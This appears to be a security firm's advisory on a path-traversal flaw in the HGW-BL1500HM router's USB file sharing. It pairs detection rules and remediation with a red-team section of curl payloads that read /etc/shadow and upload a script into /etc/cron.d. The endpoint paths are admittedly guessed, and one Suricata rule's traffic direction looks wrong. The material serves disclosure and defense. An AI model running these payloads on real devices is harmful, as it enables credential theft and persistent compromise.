CVE-2025-27716

Executive Summary

CVE-2025-27716 is a Path Traversal vulnerability (CWE-22) in the USB storage file-sharing function of the HGW-BL1500HM router, specifically in firmware versions 002.002.003 and earlier. An attacker on the same LAN can send crafted HTTP requests to list, read, or modify arbitrary files on the device’s filesystem, not just those on the USB storage. This can lead to credential theft, configuration modification, or full device compromise. The vulnerability has a CVSS score of 6.5 (Medium) due to the requirement of LAN access, but the impact is high for confidentiality and integrity. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It affects proprietary firmware of a specific embedded device (HGW-BL1500HM router). The risk is limited to the device’s supply chain—users must rely on the vendor for a patch, which is currently unavailable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same LAN.
• Attack Complexity (AC): Low (AC:L) – no special conditions.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – arbitrary file read.
• Integrity (I): Low (I:L) – limited file write capability.
• Availability (A): None (A:N) – no denial of service.

Threat Level: Medium. Exploitation requires LAN access, but once achieved, an attacker can exfiltrate sensitive files (e.g., /etc/shadow, configuration files) and potentially modify them to gain persistent access.

Deep Dive & Mechanics

The vulnerability resides in the USB storage file-sharing function of the HGW-BL1500HM router. The web interface exposes an endpoint (likely /cgi-bin/ or /api/) that lists files on the attached USB drive. The input parameter controlling the directory path is not properly sanitized, allowing path traversal sequences like ../ to escape the intended USB mount point.

Attack Flow:

1. Attacker connects to the router’s LAN (e.g., via Wi-Fi or Ethernet).
2. Attacker sends an HTTP GET request to the vulnerable endpoint, e.g.:

   GET /cgi-bin/filelist?dir=../../../etc/shadow HTTP/1.1
   Host: 192.168.1.1
   

3. The router processes the request and returns the contents of /etc/shadow instead of a USB directory listing.
4. Attacker can also use POST requests to upload or modify files, potentially overwriting critical system files.

The vulnerability is due to insufficient validation of the dir parameter. The application likely uses a function like realpath() or string concatenation without checking for ../ sequences.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern.

Vulnerable (pseudo-code):

def list_files(request):
    base_dir = "/mnt/usb"
    user_dir = request.GET.get("dir", "")
    full_path = base_dir + "/" + user_dir
    # No sanitization of user_dir
    files = os.listdir(full_path)
    return render_file_list(files)

Patched (pseudo-code):

import os

def list_files(request):
    base_dir = "/mnt/usb"
    user_dir = request.GET.get("dir", "")
    # Resolve and validate path
    full_path = os.path.realpath(os.path.join(base_dir, user_dir))
    if not full_path.startswith(os.path.realpath(base_dir)):
        return "Access denied", 403
    files = os.listdir(full_path)
    return render_file_list(files)

The patch must use os.path.realpath() to resolve symlinks and .. sequences, then verify the resolved path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A device on the same LAN as the HGW-BL1500HM router.
• Router’s IP address (e.g., 192.168.1.1).
• USB file-sharing function enabled (default).

Step-by-Step Exploitation:

1. Discover the endpoint: Use a web fuzzer to find the file listing endpoint. Common paths:

   • /cgi-bin/filelist
   • /api/storage/list
   • /usb/list

2. Craft the path traversal payload:

   curl "http://192.168.1.1/cgi-bin/filelist?dir=../../../etc/passwd"
   

3. Read sensitive files:

   curl "http://192.168.1.1/cgi-bin/filelist?dir=../../../etc/shadow"
   curl "http://192.168.1.1/cgi-bin/filelist?dir=../../../etc/config/dropbear"
   

4. Attempt file write (if endpoint supports upload):

   curl -X POST "http://192.168.1.1/cgi-bin/upload?dir=../../../etc/cron.d" -F "file=@malicious_script"
   

Expected Output: The router returns the contents of the requested file or a directory listing of the traversed path.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP requests to the router’s web interface for patterns like ../ or %2e%2e%2f.
• Alert on requests to sensitive paths (e.g., /etc/shadow, /etc/passwd).

Hardening:

• Disable USB file sharing if not needed.
• Place the router behind a firewall that restricts management interface access to specific IPs.
• Monitor for unauthorized LAN devices.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or URL-encoded %2e%2e%2f in the dir parameter.
  • Requests to /cgi-bin/filelist or similar endpoints from unexpected LAN IPs.
  • Outbound connections from the router to external IPs (data exfiltration).

• File IOCs:

  • Unauthorized modifications to /etc/shadow, /etc/passwd, or /etc/config/*.
  • Presence of unexpected files in /mnt/usb (if attacker writes back).

• Log IOCs:

  • Router logs showing GET /cgi-bin/filelist?dir=../../../etc/shadow entries.

Detection Engineering

YARA Rule

rule CVE_2025_27716_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against HGW-BL1500HM USB file sharing"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27716"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/shadow"
        $sensitive2 = "/etc/passwd"
        $sensitive3 = "/etc/config"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-27716 Path Traversal on HGW-BL1500HM
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the USB file sharing endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e/"
        cs-uri-stem|contains:
            - "/cgi-bin/filelist"
            - "/api/storage/list"
            - "/usb/list"
    condition: selection
falsepositives:
    - Legitimate use of directory navigation in non-vulnerable applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27716 Path Traversal Attempt on HGW-BL1500HM";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/filelist"; http_uri;
    content:"../"; http_uri;
    pcre:"/(%2e%2e%2f|%2e%2e\/|\.\.\/)/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable USB file sharing on the router if not required.
2. Restrict LAN access to the router’s management interface (e.g., use MAC filtering or VLAN segmentation).
3. Monitor logs for path traversal attempts.

Long-term Fix:

• Vendor must release a firmware update that properly sanitizes the dir parameter using realpath() and path prefix checks.
• Until a patch is available, consider replacing the device with a more secure alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the router to filter out path traversal patterns, but this may not be feasible for embedded devices.

Valters IT